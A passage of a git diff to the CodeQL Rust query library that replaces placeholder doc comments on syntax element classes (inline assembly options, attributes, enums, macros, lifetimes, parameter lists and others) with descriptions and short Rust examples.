a/rust/ql/lib/codeql/rust/elements/AsmOption.qll b/rust/ql/lib/codeql/rust/elements/AsmOption.qll index 10dd031f0a60..546cf793ba81 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmOption.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmOption.qll @@ -6,4 +6,13 @@ private import internal.AsmOptionImpl import codeql.rust.elements.AstNode +/** + * An option in an inline assembly block. + * + * For example: + * ```rust + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` + */ final class AsmOption = Impl::AsmOption; diff --git a/rust/ql/lib/codeql/rust/elements/AsmOptionsList.qll b/rust/ql/lib/codeql/rust/elements/AsmOptionsList.qll index 94e82023e170..d79ca332c4ae 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmOptionsList.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmOptionsList.qll @@ -7,4 +7,13 @@ private import internal.AsmOptionsListImpl import codeql.rust.elements.AsmOption import codeql.rust.elements.AsmPiece +/** + * A list of options in an inline assembly block. + * + * For example: + * ```rust + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` + */ final class AsmOptionsList = Impl::AsmOptionsList; diff --git a/rust/ql/lib/codeql/rust/elements/AsmRegOperand.qll b/rust/ql/lib/codeql/rust/elements/AsmRegOperand.qll index 4ce8deb4b698..7a2bd55005f4 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmRegOperand.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmRegOperand.qll @@ -9,4 +9,13 @@ import codeql.rust.elements.AsmOperand import codeql.rust.elements.AsmOperandExpr import codeql.rust.elements.AsmRegSpec +/** + * A register operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` + */ final class AsmRegOperand = Impl::AsmRegOperand; diff --git a/rust/ql/lib/codeql/rust/elements/AsmRegSpec.qll b/rust/ql/lib/codeql/rust/elements/AsmRegSpec.qll index 5408dddc99be..33165c6c7207 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmRegSpec.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmRegSpec.qll @@ -7,4 +7,13 @@ private import internal.AsmRegSpecImpl import codeql.rust.elements.AstNode import codeql.rust.elements.NameRef +/** + * A register specification in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {0}, {1}", out("eax") x, in("ebx") y); + * // ^^^ ^^^ + * ``` + */ final class AsmRegSpec = Impl::AsmRegSpec; diff --git a/rust/ql/lib/codeql/rust/elements/AsmSym.qll b/rust/ql/lib/codeql/rust/elements/AsmSym.qll index b193bc2ce9c2..50bf9435f1e3 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmSym.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmSym.qll @@ -7,4 +7,13 @@ private import internal.AsmSymImpl import codeql.rust.elements.AsmOperand import codeql.rust.elements.Path +/** + * A symbol operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("call {sym}", sym = sym my_function); + * // ^^^^^^^^^^^^^^^^^^^^^^ + * ``` + */ final class AsmSym = Impl::AsmSym; diff --git a/rust/ql/lib/codeql/rust/elements/AssocItem.qll b/rust/ql/lib/codeql/rust/elements/AssocItem.qll index 0a56f7109c38..80c1ecafd7e7 100644 --- a/rust/ql/lib/codeql/rust/elements/AssocItem.qll +++ b/rust/ql/lib/codeql/rust/elements/AssocItem.qll @@ -7,9 +7,12 @@ private import internal.AssocItemImpl import codeql.rust.elements.AstNode /** - * A AssocItem. For example: + * An associated item in a `Trait` or `Impl`. + * + * For example: * ```rust - * todo!() + * trait T {fn foo(&self);} + * // ^^^^^^^^^^^^^ * ``` */ final class AssocItem = Impl::AssocItem; diff --git a/rust/ql/lib/codeql/rust/elements/AssocItemList.qll b/rust/ql/lib/codeql/rust/elements/AssocItemList.qll index 63f568e1c25b..e773f10a7d0c 100644 --- a/rust/ql/lib/codeql/rust/elements/AssocItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/AssocItemList.qll @@ -9,6 +9,6 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Attr /** - * A list of `AssocItem` elements, as appearing for example in a `Trait`. + * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. */ final class AssocItemList = Impl::AssocItemList; diff --git a/rust/ql/lib/codeql/rust/elements/AssocTypeArg.qll b/rust/ql/lib/codeql/rust/elements/AssocTypeArg.qll index eded63ad7cc3..7397e7786564 100644 --- a/rust/ql/lib/codeql/rust/elements/AssocTypeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/AssocTypeArg.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.TypeBoundList import codeql.rust.elements.TypeRepr /** - * A AssocTypeArg. For example: + * An associated type argument in a path. + * + * For example: * ```rust - * todo!() + * ::Item + * // ^^^^ * ``` */ final class AssocTypeArg = Impl::AssocTypeArg; diff --git a/rust/ql/lib/codeql/rust/elements/Attr.qll b/rust/ql/lib/codeql/rust/elements/Attr.qll index c7160519253d..176d8987f7f0 100644 --- a/rust/ql/lib/codeql/rust/elements/Attr.qll +++ b/rust/ql/lib/codeql/rust/elements/Attr.qll @@ -8,9 +8,13 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Meta /** - * A Attr. For example: + * An attribute applied to an item. + * + * For example: * ```rust - * todo!() + * #[derive(Debug)] + * //^^^^^^^^^^^^^ + * struct S; * ``` */ final class Attr = Impl::Attr; diff --git a/rust/ql/lib/codeql/rust/elements/ClosureBinder.qll b/rust/ql/lib/codeql/rust/elements/ClosureBinder.qll index 14464283aa82..385184596927 100644 --- a/rust/ql/lib/codeql/rust/elements/ClosureBinder.qll +++ b/rust/ql/lib/codeql/rust/elements/ClosureBinder.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.GenericParamList /** - * A ClosureBinder. For example: + * A closure binder, specifying lifetime or type parameters for a closure. + * + * For example: * ```rust - * todo!() + * for <'a> |x: &'a u32 | x + * // ^^^^^^ * ``` */ final class ClosureBinder = Impl::ClosureBinder; diff --git a/rust/ql/lib/codeql/rust/elements/Const.qll b/rust/ql/lib/codeql/rust/elements/Const.qll index 12fde1ef28b7..b4c652076082 100644 --- a/rust/ql/lib/codeql/rust/elements/Const.qll +++ b/rust/ql/lib/codeql/rust/elements/Const.qll @@ -13,9 +13,11 @@ import codeql.rust.elements.TypeRepr import codeql.rust.elements.Visibility /** - * A Const. For example: + * A constant item declaration. + * + * For example: * ```rust - * todo!() + * const X: i32 = 42; * ``` */ final class Const = Impl::Const; diff --git a/rust/ql/lib/codeql/rust/elements/ConstArg.qll b/rust/ql/lib/codeql/rust/elements/ConstArg.qll index c48b43b3157a..8596d4cfd7c7 100644 --- a/rust/ql/lib/codeql/rust/elements/ConstArg.qll +++ b/rust/ql/lib/codeql/rust/elements/ConstArg.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.Expr import codeql.rust.elements.GenericArg /** - * A ConstArg. For example: + * A constant argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo::<3> + * // ^ * ``` */ final class ConstArg = Impl::ConstArg; diff --git a/rust/ql/lib/codeql/rust/elements/ConstParam.qll b/rust/ql/lib/codeql/rust/elements/ConstParam.qll index ad7ff707272c..c0135100863f 100644 --- a/rust/ql/lib/codeql/rust/elements/ConstParam.qll +++ b/rust/ql/lib/codeql/rust/elements/ConstParam.qll @@ -11,9 +11,12 @@ import codeql.rust.elements.Name import codeql.rust.elements.TypeRepr /** - * A ConstParam. For example: + * A constant parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * struct Foo ; + * // ^^^^^^^^^^^^^^ * ``` */ final class ConstParam = Impl::ConstParam; diff --git a/rust/ql/lib/codeql/rust/elements/DynTraitTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/DynTraitTypeRepr.qll index 0ddf36aced65..b6ce64196299 100644 --- a/rust/ql/lib/codeql/rust/elements/DynTraitTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/DynTraitTypeRepr.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.TypeBoundList import codeql.rust.elements.TypeRepr /** - * A DynTraitTypeRepr. For example: + * A dynamic trait object type. + * + * For example: * ```rust - * todo!() + * let x: &dyn Debug; + * // ^^^^^^^^^ * ``` */ final class DynTraitTypeRepr = Impl::DynTraitTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/Enum.qll b/rust/ql/lib/codeql/rust/elements/Enum.qll index eb3801611cb5..3901b3827232 100644 --- a/rust/ql/lib/codeql/rust/elements/Enum.qll +++ b/rust/ql/lib/codeql/rust/elements/Enum.qll @@ -13,9 +13,11 @@ import codeql.rust.elements.Visibility import codeql.rust.elements.WhereClause /** - * A Enum. For example: + * An enum declaration. + * + * For example: * ```rust - * todo!() + * enum E {A, B(i32), C {x: i32}} * ``` */ final class Enum = Impl::Enum; diff --git a/rust/ql/lib/codeql/rust/elements/ExternBlock.qll b/rust/ql/lib/codeql/rust/elements/ExternBlock.qll index 46112c915dcd..7b191ae07a64 100644 --- a/rust/ql/lib/codeql/rust/elements/ExternBlock.qll +++ b/rust/ql/lib/codeql/rust/elements/ExternBlock.qll @@ -10,9 +10,13 @@ import codeql.rust.elements.ExternItemList import codeql.rust.elements.Item /** - * A ExternBlock. For example: + * An extern block containing foreign function declarations. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * } * ``` */ final class ExternBlock = Impl::ExternBlock; diff --git a/rust/ql/lib/codeql/rust/elements/ExternCrate.qll b/rust/ql/lib/codeql/rust/elements/ExternCrate.qll index f76857a80586..b54450cadf43 100644 --- a/rust/ql/lib/codeql/rust/elements/ExternCrate.qll +++ b/rust/ql/lib/codeql/rust/elements/ExternCrate.qll @@ -11,9 +11,11 @@ import codeql.rust.elements.Rename import codeql.rust.elements.Visibility /** - * A ExternCrate. For example: + * An extern crate declaration. + * + * For example: * ```rust - * todo!() + * extern crate serde; * ``` */ final class ExternCrate = Impl::ExternCrate; diff --git a/rust/ql/lib/codeql/rust/elements/ExternItem.qll b/rust/ql/lib/codeql/rust/elements/ExternItem.qll index e15a22a702dc..7931ce81c403 100644 --- a/rust/ql/lib/codeql/rust/elements/ExternItem.qll +++ b/rust/ql/lib/codeql/rust/elements/ExternItem.qll @@ -7,9 +7,14 @@ private import internal.ExternItemImpl import codeql.rust.elements.AstNode /** - * A ExternItem. For example: + * An item inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` */ final class ExternItem = Impl::ExternItem; diff --git a/rust/ql/lib/codeql/rust/elements/ExternItemList.qll b/rust/ql/lib/codeql/rust/elements/ExternItemList.qll index 5047b23daee5..fa6aee3d1ee7 100644 --- a/rust/ql/lib/codeql/rust/elements/ExternItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/ExternItemList.qll @@ -9,9 +9,14 @@ import codeql.rust.elements.Attr import codeql.rust.elements.ExternItem /** - * A ExternItemList. For example: + * A list of items inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` */ final class ExternItemList = Impl::ExternItemList; diff --git a/rust/ql/lib/codeql/rust/elements/FieldList.qll b/rust/ql/lib/codeql/rust/elements/FieldList.qll index 4821f3dcd665..d12d95eda38a 100644 --- a/rust/ql/lib/codeql/rust/elements/FieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/FieldList.qll @@ -7,9 +7,14 @@ private import internal.FieldListImpl import codeql.rust.elements.AstNode /** - * A field of a variant. For example: + * A list of fields in a struct or enum variant. + * + * For example: * ```rust - * todo!() + * struct S {x: i32, y: i32} + * // ^^^^^^^^^^^^^^^^ + * enum E {A(i32, i32)} + * // ^^^^^^^^^^^^^ * ``` */ final class FieldList = Impl::FieldList; diff --git a/rust/ql/lib/codeql/rust/elements/FnPtrTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/FnPtrTypeRepr.qll index 290b9b9d8fd2..78fc00024ca0 100644 --- a/rust/ql/lib/codeql/rust/elements/FnPtrTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/FnPtrTypeRepr.qll @@ -10,9 +10,12 @@ import codeql.rust.elements.RetTypeRepr import codeql.rust.elements.TypeRepr /** - * A FnPtrTypeRepr. For example: + * A function pointer type. + * + * For example: * ```rust - * todo!() + * let f: fn(i32) -> i32; + * // ^^^^^^^^^^^^^^ * ``` */ final class FnPtrTypeRepr = Impl::FnPtrTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/ForExpr.qll b/rust/ql/lib/codeql/rust/elements/ForExpr.qll index cfb2586202ed..10247d0b909b 100644 --- a/rust/ql/lib/codeql/rust/elements/ForExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/ForExpr.qll @@ -10,9 +10,13 @@ import codeql.rust.elements.LoopingExpr import codeql.rust.elements.Pat /** - * A ForExpr. For example: + * A for loop expression. + * + * For example: * ```rust - * todo!() + * for x in 0..10 { + * println!("{}", x); + * } * ``` */ final class ForExpr = Impl::ForExpr; diff --git a/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll index d734fdd82539..e8097daf9499 100644 --- a/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.GenericParamList import codeql.rust.elements.TypeRepr /** - * A ForTypeRepr. For example: + * A higher-ranked trait bound(HRTB) type. + * + * For example: * ```rust - * todo!() + * for <'a> fn(&'a str) + * // ^^^^^ * ``` */ final class ForTypeRepr = Impl::ForTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/GenericArg.qll b/rust/ql/lib/codeql/rust/elements/GenericArg.qll index 0958b33326f3..39d7a3780b48 100644 --- a/rust/ql/lib/codeql/rust/elements/GenericArg.qll +++ b/rust/ql/lib/codeql/rust/elements/GenericArg.qll @@ -7,9 +7,12 @@ private import internal.GenericArgImpl import codeql.rust.elements.AstNode /** - * A GenericArg. For example: + * A generic argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^^^^^^^^^ * ``` */ final class GenericArg = Impl::GenericArg; diff --git a/rust/ql/lib/codeql/rust/elements/GenericParam.qll b/rust/ql/lib/codeql/rust/elements/GenericParam.qll index a7569c08f999..eabdd2045220 100644 --- a/rust/ql/lib/codeql/rust/elements/GenericParam.qll +++ b/rust/ql/lib/codeql/rust/elements/GenericParam.qll @@ -7,9 +7,12 @@ private import internal.GenericParamImpl import codeql.rust.elements.AstNode /** - * A GenericParam. For example: + * A generic parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) {} + * // ^ ^ * ``` */ final class GenericParam = Impl::GenericParam; diff --git a/rust/ql/lib/codeql/rust/elements/Impl.qll b/rust/ql/lib/codeql/rust/elements/Impl.qll index 868f5b6f2011..a1567f315820 100644 --- a/rust/ql/lib/codeql/rust/elements/Impl.qll +++ b/rust/ql/lib/codeql/rust/elements/Impl.qll @@ -13,9 +13,13 @@ import codeql.rust.elements.Visibility import codeql.rust.elements.WhereClause /** - * A Impl. For example: + * An `impl`` block. + * + * For example: * ```rust - * todo!() + * impl MyTrait for MyType { + * fn foo(&self) {} + * } * ``` */ final class Impl = Impl::Impl; diff --git a/rust/ql/lib/codeql/rust/elements/ImplTraitTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/ImplTraitTypeRepr.qll index 72aa3048363d..db797ed041fa 100644 --- a/rust/ql/lib/codeql/rust/elements/ImplTraitTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/ImplTraitTypeRepr.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.TypeBoundList import codeql.rust.elements.TypeRepr /** - * A ImplTraitTypeRepr. For example: + * An `impl Trait` type. + * + * For example: * ```rust - * todo!() + * fn foo() -> impl Iterator { 0..10 } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ final class ImplTraitTypeRepr = Impl::ImplTraitTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/InferTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/InferTypeRepr.qll index 79ff4934a562..db33570b0446 100644 --- a/rust/ql/lib/codeql/rust/elements/InferTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/InferTypeRepr.qll @@ -7,9 +7,12 @@ private import internal.InferTypeReprImpl import codeql.rust.elements.TypeRepr /** - * A InferTypeRepr. For example: + * An inferred type (`_`). + * + * For example: * ```rust - * todo!() + * let x: _ = 42; + * // ^ * ``` */ final class InferTypeRepr = Impl::InferTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/Item.qll b/rust/ql/lib/codeql/rust/elements/Item.qll index 1a8b0439695d..c299b3d0b65a 100644 --- a/rust/ql/lib/codeql/rust/elements/Item.qll +++ b/rust/ql/lib/codeql/rust/elements/Item.qll @@ -9,9 +9,13 @@ import codeql.rust.elements.MacroItems import codeql.rust.elements.Stmt /** - * A Item. For example: + * An item such as a function, struct, enum, etc. + * + * For example: * ```rust - * todo!() + * fn foo() {} + * struct S; + * enum E {} * ``` */ final class Item = Impl::Item; diff --git a/rust/ql/lib/codeql/rust/elements/ItemList.qll b/rust/ql/lib/codeql/rust/elements/ItemList.qll index 631b875820cf..fe912d5402ad 100644 --- a/rust/ql/lib/codeql/rust/elements/ItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/ItemList.qll @@ -9,9 +9,14 @@ import codeql.rust.elements.Attr import codeql.rust.elements.Item /** - * A ItemList. For example: + * A list of items in a module or block. + * + * For example: * ```rust - * todo!() + * mod m { + * fn foo() {} + * struct S; + * } * ``` */ final class ItemList = Impl::ItemList; diff --git a/rust/ql/lib/codeql/rust/elements/LetElse.qll b/rust/ql/lib/codeql/rust/elements/LetElse.qll index 1129ae3ff72b..c1eb3df77086 100644 --- a/rust/ql/lib/codeql/rust/elements/LetElse.qll +++ b/rust/ql/lib/codeql/rust/elements/LetElse.qll @@ -8,9 +8,14 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.BlockExpr /** - * A LetElse. For example: + * An else block in a let-else statement. + * + * For example: * ```rust - * todo!() + * let Some(x) = opt else { + * return; + * }; + * // ^^^^^^ * ``` */ final class LetElse = Impl::LetElse; diff --git a/rust/ql/lib/codeql/rust/elements/Lifetime.qll b/rust/ql/lib/codeql/rust/elements/Lifetime.qll index 1540e02db123..5a0043dddd1a 100644 --- a/rust/ql/lib/codeql/rust/elements/Lifetime.qll +++ b/rust/ql/lib/codeql/rust/elements/Lifetime.qll @@ -7,9 +7,12 @@ private import internal.LifetimeImpl import codeql.rust.elements.UseBoundGenericArg /** - * A Lifetime. For example: + * A lifetime annotation. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ ^^ * ``` */ final class Lifetime = Impl::Lifetime; diff --git a/rust/ql/lib/codeql/rust/elements/LifetimeArg.qll b/rust/ql/lib/codeql/rust/elements/LifetimeArg.qll index 35342e96c030..8eef36323f9e 100644 --- a/rust/ql/lib/codeql/rust/elements/LifetimeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/LifetimeArg.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.GenericArg import codeql.rust.elements.Lifetime /** - * A LifetimeArg. For example: + * A lifetime argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo<'a> + * // ^^ * ``` */ final class LifetimeArg = Impl::LifetimeArg; diff --git a/rust/ql/lib/codeql/rust/elements/LifetimeParam.qll b/rust/ql/lib/codeql/rust/elements/LifetimeParam.qll index f3aa605c665e..c47be28fee71 100644 --- a/rust/ql/lib/codeql/rust/elements/LifetimeParam.qll +++ b/rust/ql/lib/codeql/rust/elements/LifetimeParam.qll @@ -10,9 +10,12 @@ import codeql.rust.elements.Lifetime import codeql.rust.elements.TypeBoundList /** - * A LifetimeParam. For example: + * A lifetime parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ * ``` */ final class LifetimeParam = Impl::LifetimeParam; diff --git a/rust/ql/lib/codeql/rust/elements/MacroCall.qll b/rust/ql/lib/codeql/rust/elements/MacroCall.qll index b0985ea3fed8..a458a201f61d 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroCall.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroCall.qll @@ -13,9 +13,12 @@ import codeql.rust.elements.Path import codeql.rust.elements.TokenTree /** - * A MacroCall. For example: + * A macro invocation. + * + * For example: * ```rust - * todo!() + * println!("Hello, world!"); + * //^^^^^^^ * ``` */ final class MacroCall = Impl::MacroCall; diff --git a/rust/ql/lib/codeql/rust/elements/MacroDef.qll b/rust/ql/lib/codeql/rust/elements/MacroDef.qll index 3ae14a9e6624..114daf294eb8 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroDef.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroDef.qll @@ -11,9 +11,15 @@ import codeql.rust.elements.TokenTree import codeql.rust.elements.Visibility /** - * A MacroDef. For example: + * A macro definition using the `macro_rules!` or similar syntax. + * + * For example: * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * println!("This is a macro!"); + * }; + * } * ``` */ final class MacroDef = Impl::MacroDef; diff --git a/rust/ql/lib/codeql/rust/elements/MacroExpr.qll b/rust/ql/lib/codeql/rust/elements/MacroExpr.qll index 8085cabc3fe0..9b063903caa8 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroExpr.qll @@ -8,9 +8,11 @@ import codeql.rust.elements.Expr import codeql.rust.elements.MacroCall /** - * A MacroExpr. For example: + * A macro expression, representing the invocation of a macro that produces an expression. + * + * For example: * ```rust - * todo!() + * let y = vec![1, 2, 3]; * ``` */ final class MacroExpr = Impl::MacroExpr; diff --git a/rust/ql/lib/codeql/rust/elements/MacroPat.qll b/rust/ql/lib/codeql/rust/elements/MacroPat.qll index 7bb99d04ec44..db833d2a176a 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroPat.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroPat.qll @@ -8,9 +8,14 @@ import codeql.rust.elements.MacroCall import codeql.rust.elements.Pat /** - * A MacroPat. For example: + * A macro pattern, representing the invocation of a macro that produces a pattern. + * + * For example: * ```rust - * todo!() + * match x { + * my_macro!() => "matched", + * _ => "not matched", + * } * ``` */ final class MacroPat = Impl::MacroPat; diff --git a/rust/ql/lib/codeql/rust/elements/MacroRules.qll b/rust/ql/lib/codeql/rust/elements/MacroRules.qll index afaf41bd15a3..776069c2eb9c 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroRules.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroRules.qll @@ -11,9 +11,13 @@ import codeql.rust.elements.TokenTree import codeql.rust.elements.Visibility /** - * A MacroRules. For example: + * A macro definition using the `macro_rules!` syntax. * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * println!("This is a macro!"); + * }; + * } * ``` */ final class MacroRules = Impl::MacroRules; diff --git a/rust/ql/lib/codeql/rust/elements/MacroTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/MacroTypeRepr.qll index 780fb3d709cf..854f0b2a3f9b 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroTypeRepr.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.MacroCall import codeql.rust.elements.TypeRepr /** - * A MacroTypeRepr. For example: + * A type produced by a macro. + * + * For example: * ```rust - * todo!() + * type T = macro_type!(); + * // ^^^^^^^^^^^^^ * ``` */ final class MacroTypeRepr = Impl::MacroTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/MatchArmList.qll b/rust/ql/lib/codeql/rust/elements/MatchArmList.qll index ce9b1edf3299..664db7b53f2b 100644 --- a/rust/ql/lib/codeql/rust/elements/MatchArmList.qll +++ b/rust/ql/lib/codeql/rust/elements/MatchArmList.qll @@ -9,9 +9,16 @@ import codeql.rust.elements.Attr import codeql.rust.elements.MatchArm /** - * A MatchArmList. For example: + * A list of arms in a match expression. + * + * For example: * ```rust - * todo!() + * match x { + * 1 => "one", + * 2 => "two", + * _ => "other", + * } + * // ^^^^^^^^^^^ * ``` */ final class MatchArmList = Impl::MatchArmList; diff --git a/rust/ql/lib/codeql/rust/elements/MatchGuard.qll b/rust/ql/lib/codeql/rust/elements/MatchGuard.qll index 79f90f151c95..c6963bd1bfe8 100644 --- a/rust/ql/lib/codeql/rust/elements/MatchGuard.qll +++ b/rust/ql/lib/codeql/rust/elements/MatchGuard.qll @@ -8,9 +8,15 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Expr /** - * A MatchGuard. For example: + * A guard condition in a match arm. + * + * For example: * ```rust - * todo!() + * match x { + * y if y > 0 => "positive", + * // ^^^^^^^ + * _ => "non-positive", + * } * ``` */ final class MatchGuard = Impl::MatchGuard; diff --git a/rust/ql/lib/codeql/rust/elements/Meta.qll b/rust/ql/lib/codeql/rust/elements/Meta.qll index 62b8e008ef7f..c1a65df5856d 100644 --- a/rust/ql/lib/codeql/rust/elements/Meta.qll +++ b/rust/ql/lib/codeql/rust/elements/Meta.qll @@ -10,9 +10,12 @@ import codeql.rust.elements.Path import codeql.rust.elements.TokenTree /** - * A Meta. For example: + * A meta item in an attribute. + * + * For example: * ```rust - * todo!() + * #[cfg(feature = "foo")] + * // ^^^^^^^^^^^^^^^ * ``` */ final class Meta = Impl::Meta; diff --git a/rust/ql/lib/codeql/rust/elements/Name.qll b/rust/ql/lib/codeql/rust/elements/Name.qll index 74c74acc44dd..fa81050f1c28 100644 --- a/rust/ql/lib/codeql/rust/elements/Name.qll +++ b/rust/ql/lib/codeql/rust/elements/Name.qll @@ -7,9 +7,12 @@ private import internal.NameImpl import codeql.rust.elements.AstNode /** - * A Name. For example: + * An identifier name. + * + * For example: * ```rust - * todo!() + * let foo = 1; + * // ^^^ * ``` */ final class Name = Impl::Name; diff --git a/rust/ql/lib/codeql/rust/elements/NameRef.qll b/rust/ql/lib/codeql/rust/elements/NameRef.qll index ed37aa7ca323..2fdd25ae089d 100644 --- a/rust/ql/lib/codeql/rust/elements/NameRef.qll +++ b/rust/ql/lib/codeql/rust/elements/NameRef.qll @@ -7,9 +7,12 @@ private import internal.NameRefImpl import codeql.rust.elements.UseBoundGenericArg /** - * A NameRef. For example: + * A reference to a name. + * + * For example: * ```rust - * todo!() + * foo(); + * //^^^ * ``` */ final class NameRef = Impl::NameRef; diff --git a/rust/ql/lib/codeql/rust/elements/NeverTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/NeverTypeRepr.qll index 8eec61da0589..814173c4a8f7 100644 --- a/rust/ql/lib/codeql/rust/elements/NeverTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/NeverTypeRepr.qll @@ -7,9 +7,12 @@ private import internal.NeverTypeReprImpl import codeql.rust.elements.TypeRepr /** - * A NeverTypeRepr. For example: + * The never type `!`. + * + * For example: * ```rust - * todo!() + * fn foo() -> ! { panic!() } + * // ^ * ``` */ final class NeverTypeRepr = Impl::NeverTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/ParamList.qll b/rust/ql/lib/codeql/rust/elements/ParamList.qll index 4678b78c3e67..1b34446a657c 100644 --- a/rust/ql/lib/codeql/rust/elements/ParamList.qll +++ b/rust/ql/lib/codeql/rust/elements/ParamList.qll @@ -9,9 +9,12 @@ import codeql.rust.elements.Param import codeql.rust.elements.SelfParam /** - * A ParamList. For example: + * A list of parameters in a function, method, or closure declaration. + * + * For example: * ```rust - * todo!() + * fn foo(x: i32, y: i32) {} + * // ^^^^^^^^^^^^^ * ``` */ final class ParamList = Impl::ParamList; diff --git a/rust/ql/lib/codeql/rust/elements/ParenExpr.qll b/rust/ql/lib/codeql/rust/elements/ParenExpr.qll index 60466bdc7b7a..f3d9936a97d1 100644 --- a/rust/ql/lib/codeql/rust/elements/ParenExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/ParenExpr.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.Attr import codeql.rust.elements.Expr /** - * A ParenExpr. For example: + * A parenthesized expression. + * + * For example: * ```rust - * todo!() + * (x + y) + * //^^^^^ * ``` */ final class ParenExpr = Impl::ParenExpr; diff --git a/rust/ql/lib/codeql/rust/elements/ParenPat.qll b/rust/ql/lib/codeql/rust/elements/ParenPat.qll index 291ddb76152e..6789be949792 100644 --- a/rust/ql/lib/codeql/rust/elements/ParenPat.qll +++ b/rust/ql/lib/codeql/rust/elements/ParenPat.qll @@ -7,9 +7,12 @@ private import internal.ParenPatImpl import codeql.rust.elements.Pat /** - * A ParenPat. For example: + * A parenthesized pattern. + * + * For example: * ```rust - * todo!() + * let (x) = 1; + * // ^^^ * ``` */ final class ParenPat = Impl::ParenPat; diff --git a/rust/ql/lib/codeql/rust/elements/ParenTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/ParenTypeRepr.qll index 881d1a805fc8..8379443633f1 100644 --- a/rust/ql/lib/codeql/rust/elements/ParenTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/ParenTypeRepr.qll @@ -7,9 +7,12 @@ private import internal.ParenTypeReprImpl import codeql.rust.elements.TypeRepr /** - * A ParenTypeRepr. For example: + * A parenthesized type. + * + * For example: * ```rust - * todo!() + * let x: (i32); + * // ^^^^^ * ``` */ final class ParenTypeRepr = Impl::ParenTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/ParenthesizedArgList.qll b/rust/ql/lib/codeql/rust/elements/ParenthesizedArgList.qll index 